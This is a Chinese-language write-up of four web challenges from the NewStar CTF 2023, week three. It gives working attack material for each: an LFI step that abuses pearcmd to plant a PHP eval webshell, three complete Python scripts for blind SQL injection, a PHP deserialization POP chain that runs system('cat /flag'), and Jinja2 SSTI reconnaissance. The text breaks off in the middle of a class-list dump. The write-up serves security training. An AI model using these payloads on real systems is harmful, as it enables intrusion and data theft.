Newstar新生赛2023第三周WP

Newstar新生赛2023第三周WP

Include 🍐

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
//将文件包含漏洞的伪协议ban掉了
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
//提示phpinfo.php文件
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

访问phpinfo.php,并在响应内容中寻找flag:
image-20231009114740035

寻找一下register_argc_argv:

image-20231009114850048

发现register_argc_argv处于开启状态,所以可以[利用pearcmd.php本地文件包含(LFI):
payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

使用bp上传payload,直接用浏览器上传会导致我们传入的内容被url编码化,导致php语言变形

image-20231009115202206

我们的文件被成功创建在/tmp目录下,为test.php

payload:

1
2
3
?file=/tmp/test.php
=>由于后面它给我们自动加上php,所以我们只需要传入文件名即可
?file=/tmp/test

image-20231009115338558

payload:

1
2
POST:
cmd=system("ls /");

image-20231009115429049

payload:

1
2
POST:
cmd=system("cat /flag");

image-20231009115526916

medium_sql

payload:

1
?id=TMP0919' GROUP BY 5 -- '

得到字段数量为5

使用盲注:
payload:

1
?id=TMP0919'anD(1=1) -- '

image-20231010205748567

payload:

1
?id=TMP0919'anD(1=2) -- '

image-20231010215505760

存在sql注入盲注点

爆表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+0%2C1)%2C1%2C1))>102+%23&Submit=Submit#

url = 'http://29b31bd5-9259-4782-a9da-e797bb66785d.node4.buuoj.cn:81/?id='
# table_len存储每张表的长度
table_len = [30, 30, 30, 30, 30, 30, 30, 30, 30, 30]
# table_name存储每张表的名字
table_name = []
# index存储现在处理的是第index+1张表
index = 0
# 由于获取的是所有表名总字符串,所以只要遍历一次即可
while (index < 1):
name = ""
# n表示当前处理的表所处理的是第n个字符
n = 1
while (n <= table_len[index]):
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(index, n, tmp)
payload2 = "TMP0919'anD(asCii(suBstr((sElect(GROUP_CONCAT(TABLE_NAME))frOm(infOrmation_schema.tables)wHere(TABLE_SCHEMA=database())),{},1))>{}) -- '".format(n, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload2)
# print()
r = requests.get(url + payload2)
time.sleep(0.05)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Physics"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
name = name + chr(tmp)
# 继续下一个字符
n = n + 1
# 存储该表的表名
table_name.append(name)
# 打印该表的表名
print("第{}张表的名字为{}".format(index+1, name))
# 继续下一个表
index = index + 1
print(table_name)

输出:

1
2
第1张表的名字为grades,here_is_flag
['grades,here_is_flag ']

爆表的字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D+'users'+limit+0%2C1)%2C1%2C1))%3D117+%23

url = 'http://29b31bd5-9259-4782-a9da-e797bb66785d.node4.buuoj.cn:81/?id='

# table_col_num存储每张表每个字段所对应的长度
table_col_num = {'here_is_flag第1字段的长度': 50}
# table_name存储每张表的名字
table_name = ['here_is_flag']
# col_count存储每张表的字段数
# 将所有字段合在一起输出就是只有一个字段
col_count = {'here_is_flag': 1}
# table_col_name存储每张表的字段的名字
table_col_name = {}

table_num = len(table_name)
table_index = 0
# 先对表进行遍历,只有表F1naI1y
while (table_index < 1):
# 当前表的名字:table_name[table_index]
# col_num存储当前表的字段数
col_num = col_count[table_name[table_index]]
col_index = 0
# 对当前表的字段进行遍历,获取全部字段名,所以只有一个字段
while (col_index < 1):
# table_col_key存储当前表当前字段的key
key = "{}第{}字段的长度".format(table_name[table_index], col_index+1)
# col_len存储当前字段的长度
col_len = table_col_num[key]
# 遍历当前字段
col_len_index = 0
# name存储当前字段的名称
name = ""
while (col_len_index < col_len):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D+'{}'+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(table_name[table_index], col_index, col_len_index+1, tmp)
payload2 = "TMP0919'anD(asCii(suBstr((selEct(GROUP_CONCAT(COLUMN_NAME))frOm(infOrmation_schema.COLUMNS)wHere(TABLE_NAME='here_is_flag')),{},1))>{}) -- '".format(col_len_index+1, tmp)
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.get(url + payload2)
time.sleep(0.05)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Physics"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
name = name + chr(tmp)
# 继续下一个字符
col_len_index = col_len_index + 1
# 存储当前字段的名称:
key_name = "{}的第{}个字段的名字".format(table_name[table_index], col_index+1)
table_col_name[key_name] = name
print("{}:{}".format(key_name, name))
# 继续下一个字段
col_index = col_index + 1
# 继续下一张表
table_index = table_index + 1
print(table_col_name)

输出:

1
2
here_is_flag的第1个字段的名字:flag
{'here_is_flag的第1个字段的名字': 'flag '}

爆字段的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+user+from+dvwa.users+limit+0%2C1)%2C1%2C1))%3D110+%23

url = 'http://29b31bd5-9259-4782-a9da-e797bb66785d.node4.buuoj.cn:81/?id='

# database_name存储数据库名字
database_name = "ctf"
# table_name存储指定表的名字
table_name = "here_is_flag"
# col_name存储指定字段的名字
col_name = "flag"
# col_data_num存储有多少列
# 手动指定要查看多少列数据,由于合在一起显示所以只有一列
col_data_num = 1
# col_data_charnum存储每个字段数据的字符个数
# 手动指定要查看多少字符数据
col_data_charnum = 50

rank_index = 0
# 先遍历该字段有多少列
while (rank_index < col_data_num):
rank_data_index = 0
# data用来字段该列的数据
data = ""
while (rank_data_index < col_data_charnum):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+{}+from+{}.{}+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(col_name, database_name, table_name, rank_index, rank_data_index+1, tmp)
# payload2 = "1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})".format(col_name, table_name, rank_data_index+1, tmp)
payload3 = "TMP0919'anD(asCii(suBstr((seLEct(Group_cOncAT({}))from({})),{},1))>{}) -- '".format(col_name, table_name, rank_data_index+1, tmp)
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload3)
# print()
r = requests.get(url + payload3)
time.sleep(0.05)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Physics"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
data = data + chr(tmp)
# 继续下一个字符
rank_data_index = rank_data_index + 1
# 继续下一列
print("{}字段第{}列的值:{}".format(col_name, rank_index + 1, data))
rank_index = rank_index + 1

输出:

image-20231010215536171

POP Gadget

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
highlight_file(__FILE__);

class Begin{
public $name;
//反序列化自动调用
public function __destruct()
{
//存在字符串比较可以调用__toString()函数=>$this->name=new Then()
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
//存在类调用,可以用于启动__invoke()函数
//$this->func=new Super()
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
//存在可以指定类的函数end()函数调用
//$this->obj=new CTF()
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
//getStr为Handle类的不存在函数所以可以用于调用__call
//$this->obj=new Handle()
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
//存在变量删除函数可以调用魔术方法__unset
//$this->handle->log=$WhiteGod->$func
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
//存在危险函数注入=>$this->func=system,$this->var=ls /
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

pop链构造:

1
2
3
4
5
6
1.WhiteGod->__unset
2.CTF->end=>WhiteGod->__unset
3.Handle->__call=>CTF->end=>WhiteGod->__unset
4.Super->__invoke=>Handle->__call=>CTF->end=>WhiteGod->__unset
5.Then->__toString=>Super->__invoke=>Handle->__call=>CTF->end=>WhiteGod->__unset
6.Begin->__destruct=>Then->__toString=>Super->__invoke=>Handle->__call=>CTF->end=>WhiteGod->__unset

魔术函数介绍:

__unset()魔术方法:

1
__unset()魔术方法在使用unset()函数删除一个对象的属性时会自动调用。当一个对象的属性被unset时,如果该对象定义了__unset()方法,那么该方法会被自动调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyClass {
private $name;

public function __construct($name) {
$this->name = $name;
}

public function __unset($property) {
echo "Unsetting property: " . $property;
}
}

$obj = new MyClass("John");
unset($obj->name); // 调用__unset()方法
1
2
3
在上面的代码中,我们定义了一个MyClass类,它有一个私有属性$name。当使用unset()函数删除$obj对象的$name属性时,会自动调用该对象的__unset()方法。在这个例子中,__unset()方法会显示一个消息"Unsetting property: name"

注意,__unset()方法只会在访问权限允许的情况下被调用。如果属性是私有的或受保护的,只有在类的内部才能删除该属性。

pop链构造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
// highlight_file(__FILE__);

class Begin{
public $name;
//反序列化自动调用
// public function __destruct()
// {
// //存在字符串比较可以调用__toString()函数=>$this->name=new Then()
// if(preg_match("/[a-zA-Z0-9]/",$this->name)){
// echo "Hello";
// }else{
// echo "Welcome to NewStarCTF 2023!";
// }
// }
}

class Then{
private $func;
public function __construct() {
$this->func = new Super();
}

public function __toString()
{
//存在类调用,可以用于启动__invoke()函数
//$this->func=new Super()
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __construct() {
$this->obj = new CTF();
}
// public function __call($func, $vars)
// {
// //存在可以指定类的函数end()函数调用
// //$this->obj=new CTF()
// $this->obj->end();
// }

}

class Super{
protected $obj;
public function __construct() {
$this->obj = new Handle();
}
// public function __invoke()
// {
// //getStr为Handle类的不存在函数所以可以用于调用__call
// //$this->obj=new Handle()
// $this->obj->getStr();
// }

// public function end()
// {
// die("==GAME OVER==");
// }
}

class CTF{
public $handle=1;
public function __construct() {
$this->handle = new WhiteGod();
}
// public function end()
// {
// //存在变量删除函数可以调用魔术方法__unset
// //$this->handle=new WhiteGod()
// unset($this->handle->log);
// }

}

class WhiteGod{
public $func='system';
public $var='cat /flag';

// public function __unset($var)
// {
// //存在危险函数注入=>$this->func=system,$this->var=ls /
// ($this->func)($this->var);
// }
}

// @unserialize($_POST['pop']);
//构造pop链:
$obj = new Begin();
$obj->name = new Then();
$obj2 = serialize($obj);
echo $obj2."\n";
$obj3 = urlencode($obj2);
echo $obj3;

$str = 'O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}';

payload:

1
2
POST:
pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}}

image-20231010133441613

payload:

1
2
POST:
pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

image-20231010133746261

GenShin

image-20231010141411989

使用Bp抓包:

image-20231010141442978

访问:/secr3tofpop

image-20231010141614595

payload:

1
secr3tofpop?name=admin

image-20231010141800190

我们输入的内容被渲染到了网页上,猜测存在ssti模板注入

payload:

1
secr3tofpop?name={%%}

image-20231010162819362

可以了解到该ssti模板注入是在python3语言下的jinja2模板注入

image-20231010163040317

可以了解到该模板渲染是使用render_template_string()函数

先寻找类os._wrap_close:
寻找脚本:

1
2
3
4
5
6
7
8
9
10
11
str = "[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '__future__._Feature'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'datetime.timedelta'>, <class 'datetime.date'>, <class 'datetime.tzinfo'>, <class 'datetime.time'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'urllib3.util.timeout.Timeout'>, <class '_ast.AST'>, <class 'urllib3.util.retry.Retry'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'hmac.HMAC'>, <class 'urllib3.util.ssltransport.SSLTransport'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'mimetypes.MimeTypes'>, <class 'urllib3.fields.RequestField'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib3.connection.DummyConnection'>, <class 'urllib3.response.ContentDecoder'>, <class 'urllib3.response.GzipDecoderState'>, <class 'urllib3.response.BytesQueueBuffer'>, <class 'urllib3._request_methods.RequestMethods'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'charset_normalizer.md.MessDetectorPlugin'>, <class 'charset_normalizer.models.CharsetMatch'>, <class 'charset_normalizer.models.CharsetMatches'>, <class 'charset_normalizer.models.CliDetectionResult'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'requests.cookies.MockRequest'>, <class 'requests.cookies.MockResponse'>, <class 'requests.auth.AuthBase'>, <class 'unicodedata.UCD'>, <class 'requests.models.RequestEncodingMixin'>, <class 'requests.models.RequestHooksMixin'>, <class 'requests.models.Response'>, <class 'requests.adapters.BaseAdapter'>, <class 'requests.sessions.SessionRedirectMixin'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'werkzeug._internal._Missing'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableDictMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.structures._omd_bucket'>, <class 'werkzeug.datastructures.auth.Authorization'>, <class 'werkzeug.datastructures.auth.WWWAuthenticate'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeug.datastructures.range.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'flask.globals._FakeStack'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 